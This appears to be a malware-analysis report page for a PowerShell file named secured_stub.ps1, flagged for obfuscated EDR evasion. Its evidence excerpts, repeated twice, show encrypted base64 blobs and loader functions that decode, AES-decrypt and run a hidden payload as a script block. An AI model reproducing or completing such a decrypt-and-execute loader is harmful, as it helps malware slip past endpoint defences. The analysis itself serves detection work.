secured_stub.ps1
Obfuscated EDR evasion and execution
PowerShell Base64-decodes and symmetrically decrypts dataPowerShell dynamic scriptblock invoke
SHA-256395a80be300c5071cd724635ad13adea2d97d9a02fe48fec294d45ff486bbec1
MaleculeO₄(AsCoIXe)H₄(DbCmCr₃Po)Md
Evidence
4308:15… PCjG0OajdtolrbPBjumfC3ZxBaG8Mo3tXEp3wg4pLNyaS0zvXUFrTal4yxGp/k
4309curL/BCqGdKHOpKGh2Z7DIqZuPLLIJ28hWqHz/dlXXwv5ygdWBDte3Qa669pTKh3AqEHD7KElc/V
4310JluN+bnw5jDr+fAmN1NIY89yjy8ppZUncHGlwFuN3fSaFVGQ4zIQ4G …
8788:24… FAbinekvRn7RnPtyc6PudQFxqu0gC6/44cBlEC+/arPry7I2O1Ooy
8789j9QJiMbW+EseT+Amal+YXOBEhoP08a6DLygzBTDHS/xFMF2EMWTLFMMSFUY/TJk4PEcTxRH8Blfu
8790MxMtVZ5jmdeuXmpKs85BD8W2kpO4vXrvgYDKrxhldCOnhf6Ajazh3EdP4WewQur …
15080kJKiCmx73tfUOjRYIT4yZ+9LSOluY0AJZThr1Tje1dXXz9iIcn11TnApOLoIljE+/qn+/k+zpF+2
15081oWzKzKZgo+rr0G7esQRjF5CUsFxX6oUAzETCiy5Zc5ZV5fQUFRw5dessgrqYcAKJn2UTGEoB07W7
15082YVrZasypa2XUYMfp+rdUMl3LxZKKpLaH+pmAPF9 …
15545:32…
15546 if ($mod -ne 0) { $Compact += '=' * (4 - $mod) }
15547
15548 try {
15549 return ,([Convert]::FromBase64String($Compact))
15550 }
15551 catch {
⋯6 lines
15558 [CmdletBinding()]
15559 param(
15560 [byte[]]$Cipher,
15561 [byte[]]$Key,
15562 [byte[]]$Vector
15563 )
15564
15565 if (-not $Cipher -or -not $Key -or -not $Vector) { return $null }
15566
15567 $engine = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
15568 $engine.Mode = [System.Security.Cryptography.CipherMode]::CBC
15569 $engine.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
15570 $engine.Key = $Key
15571 $engine.IV = $Vector
15572
15573 try {
15574 $dec = $engine.CreateDecryptor()
15575 $ms = [System.IO.MemoryStream]::new($Cipher, $false)
15576 $cs = [System.Security.Cryptography.CryptoStream]::new($ms, $dec, [System.Security.Cryptography.CryptoStreamMode]::Read)
15577 $out = [System.IO.MemoryStream]::new()
15578
15579 try {
15580 $cs.CopyTo($out)
15581 return [System.Tex …
15595:12… string]$Code)
15596
15597 if ([string]::IsNullOrWhiteSpace($Code)) { return $false }
15598
15599 $block = [ScriptBlock]::Create($Code)
15600 $null = & $block
15601 return $true
⋯9 lines
4308:15… PCjG0OajdtolrbPBjumfC3ZxBaG8Mo3tXEp3wg4pLNyaS0zvXUFrTal4yxGp/k
4309curL/BCqGdKHOpKGh2Z7DIqZuPLLIJ28hWqHz/dlXXwv5ygdWBDte3Qa669pTKh3AqEHD7KElc/V
4310JluN+bnw5jDr+fAmN1NIY89yjy8ppZUncHGlwFuN3fSaFVGQ4zIQ4G …
8788:24… FAbinekvRn7RnPtyc6PudQFxqu0gC6/44cBlEC+/arPry7I2O1Ooy
8789j9QJiMbW+EseT+Amal+YXOBEhoP08a6DLygzBTDHS/xFMF2EMWTLFMMSFUY/TJk4PEcTxRH8Blfu
8790MxMtVZ5jmdeuXmpKs85BD8W2kpO4vXrvgYDKrxhldCOnhf6Ajazh3EdP4WewQur …
15080kJKiCmx73tfUOjRYIT4yZ+9LSOluY0AJZThr1Tje1dXXz9iIcn11TnApOLoIljE+/qn+/k+zpF+2
15081oWzKzKZgo+rr0G7esQRjF5CUsFxX6oUAzETCiy5Zc5ZV5fQUFRw5dessgrqYcAKJn2UTGEoB07W7
15082YVrZasypa2XUYMfp+rdUMl3LxZKKpLaH+pmAPF9 …
15545:32…
15546 if ($mod -ne 0) { $Compact += '=' * (4 - $mod) }
15547
15548 try {
15549 return ,([Convert]::FromBase64String($Compact))
15550 }
15551 catch {
⋯6 lines
15558 [CmdletBinding()]
15559 param(
15560 [byte[]]$Cipher,
15561 [byte[]]$Key,
15562 [byte[]]$Vector
15563 )
15564
15565 if (-not $Cipher -or -not $Key -or -not $Vector) { return $null }
15566
15567 $engine = [System.Security.Cryptography.AesCryptoServiceProvider]::new()
15568 $engine.Mode = [System.Security.Cryptography.CipherMode]::CBC
15569 $engine.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
15570 $engine.Key = $Key
15571 $engine.IV = $Vector
15572
15573 try {
15574 $dec = $engine.CreateDecryptor()
15575 $ms = [System.IO.MemoryStream]::new($Cipher, $false)
15576 $cs = [System.Security.Cryptography.CryptoStream]::new($ms, $dec, [System.Security.Cryptography.CryptoStreamMode]::Read)
15577 $out = [System.IO.MemoryStream]::new()
15578
15579 try {
15580 $cs.CopyTo($out)
15581 return [System.Tex …
15595:12… string]$Code)
15596
15597 if ([string]::IsNullOrWhiteSpace($Code)) { return $false }
15598
15599 $block = [ScriptBlock]::Create($Code)
15600 $null = & $block
15601 return $true
⋯9 lines